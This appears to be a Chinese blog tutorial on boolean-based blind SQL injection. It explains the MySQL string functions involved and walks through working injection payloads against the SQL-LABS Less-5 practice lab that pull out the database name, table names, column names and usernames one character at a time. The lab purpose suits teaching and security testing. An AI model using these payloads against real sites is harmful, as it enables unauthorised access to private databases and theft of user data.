布尔盲注详解

布尔盲注

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 truefalse使web页面返回true或者false,从而达到注入的目的来获取信息

  • ascii() 函数,返回字符ascii码值
    • 参数 : str单字符
  • length() 函数,返回字符串的长度
    • 参数 : str 字符串
  • left() 函数,返回从左至右截取固定长度的字符串
    • 参数str,length
    • str : 字符串
    • length:截取长度
  • substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
    • 参数,strposlength
    • str: 字符串
    • pos:开始位置
    • length: 截取长度
注入流程
  • 求当前数据库长度
  • 求当前数据库表的ASCII
  • 求当前数据库中表的个数
  • 求当前数据库中其中一个表名的长度
  • 求当前数据库中其中一个表名的ASCII
  • 求列名的数量
  • 求列名的长度
  • 求列名的ASCII
  • 求字段的数量
  • 求字段内容的长度
  • 求字段内容对应的ASCII
SQL语句
  • 求当前数据库的长度

思路:利用length或者substr函数来完成

length函数

参数描述
str返回字符串的长度

substr函数

参数描述
str字符串
pos截取字符串开始位置
length截取字符的长度
-- length 返回长度
-- 8是当前数据库'security'的长度
SELECT * from users WHERE id = 1 and (length(database())=8)
-- 也可以使用 > 、< 符号来进一步缩小范围
SELECT * from users WHERE id = 1 and (length(database())>8)
-- 当长度正确就页面就显示正常,其余页面则显示错误

substr函数原理

在构造SQL语句之时,and后面如果跟着一个大于0的数,那么SQL语句正确执行,所以利用此特性,使用substr截取字符,当截取的字符不存在,再通过ascii函数处理之后将会变成false,页面将回显错误

-- substr 返回子字符串
-- 8是当前数据库'security'的长度 ,从第8个开始,取1位,则是'r'
-- 如果pos为9 那么开始位置大于字符串长度,ascii函数处理后将变成false
-- and 后只要不为 0, 页面都会返回正常
SELECT * from users WHERE id = 1 and ascii(substr(database(),8,1))
  • 求当前数据库名

思路:

利用left 函数,从左至右截取字符串

截取字符判断字符的ascii码,从而确定字符

-- 从左至右截取一个字符
SELECT * from users WHERE id = 1 and (left(database(),1)='s')
-- 从左只有截取两个字符
SELECT * from users WHERE id = 1 and (left(database(),2)='se')
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),1,1)) = 115)
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),2,1)) = 101)

使用>< 符号来比较查找,找到一个范围,最后再确定

  • 求当前数据库存在的表的数量
SELECT * from users WHERE id = 1 AND 
(select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4
  • 求当前数据库表的表名长度
-- length
SELECT * from users WHERE id = 1 
AND (LENGTH(
(select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1)
)) = 6
-- substr
SELECT * from users WHERE id = 1 
AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
6,1))
  • 求表名
SELECT * from users WHERE id = 1 
AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
1,1)) = 101 -- e
SELECT * from users WHERE id = 1 
AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
2,1)) = 109 -- m
  • 求指定表中列的数量
SELECT * from users WHERE id = 1 
AND (select count(column_name) from information_schema.columns where table_name = "users") = 3
  • 求指定表中列的长度
SELECT * from users WHERE id = 1 
AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
2,1))
  • 求指定表中的列名
SELECT * from users WHERE id = 1 
AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
1,1)) = 105
  • 求指定表中某字段的数量
SELECT * from users WHERE id = 1 AND (select count(username) from users) = 13
  • 求字段长度
SELECT * from users WHERE id = 1 AND ASCII(SUBSTR((select username from users  limit 0,1),4,1))
  • 求字段名
SELECT * from users WHERE id = 1 and ASCII(SUBSTR((select username from users  limit 0,1),1,1))  = 68
SQL-LABS演示

选择SQL-LABS的LAB5完成布尔盲注,因为LAB5是没有回显消息,只能通过页面是否正常显示来完成盲注

在没有回显消息之时,如果报错信息可以显示在页面上,那么也可以通过使用报错注入

  • 求当前数据库长度
http://192.168.1.101/Less-5/?id=1' and (length(database()) = 8)--+
  • 求数据库名
http://192.168.1.101/Less-5/?id=-1' or (left(database(),1) = 's')--+ #从左至右截取一个字符http://192.168.1.101/Less-5/?id=-1' or (left(database(),2) = 'se')--+ #从左至右截取两个字符
http://192.168.1.101/Less-5/?id=-1' or (substr(database(),1,1) = 's')--+
http://192.168.1.101/Less-5/?id=-1' or (substr(database(),2,1) = 'e')--+
http://192.168.1.101/Less-5/?id=-1' or (ascii(substr(database(),1,1)) = 115)--+ # 's'对应的ascii码为115
http://192.168.1.101/Less-5/?id=-1' or (ascii(substr(database(),2,1)) = 101)--+ # ‘e‘对应的ascii码为101
  • 求当前数据库表的表名长度
http://192.168.1.101/Less-5/?id=-1' or ASCII(SUBSTR((SELECT table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),7,1)) --+

length

http://192.168.1.101/Less-5/?id=-1' or length((SELECT table_name from information_schema.`TABLES` where table_schema = database() limit 0,1)) = 6 --+
  • 对表名进行猜解
http://192.168.1.101/Less-5/?id=-1' or ASCII(SUBSTR((SELECT table_name from information_schema.`TABLES` where table_schema = database() limit 0,1),1,1)) = 101 --+
格式为 ascii(substr(str,pos,len)) = XXX 其中str为具体值,其含义为猜测security库中的第一个表里的第一个字符进行ascii猜解
  • 求指定表中列的数量
http://192.168.1.101/Less-5/?id=-1' 
or 3 =
 (select count(column_name) from information_schema.columns where table_name = "users") --+
  • 求列名的长度
http://192.168.1.101/Less-5/?id=-1' 
or 
ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
3,1))--+
  • 求列名进行猜解
http://192.168.1.101/Less-5/?id=-1' 
or 
ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
1,1)) = 105--+
  • 求指定表中某字段的数量
http://192.168.1.101/Less-5/?id=-1' 
or 
(select count(username) from users) = 13--+
  • 列字段的长度
http://192.168.1.101/Less-5/?id=-1' 
or 
ASCII(SUBSTR(
(select username from users  limit 0,1),
5,1))--+
  • 对字段猜解
http://192.168.1.101/Less-5/?id=-1' 
or ASCII(SUBSTR(
(select username from users  limit 0,1),
1,1))  = 68--+
  • 23
    点赞
  • 91
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值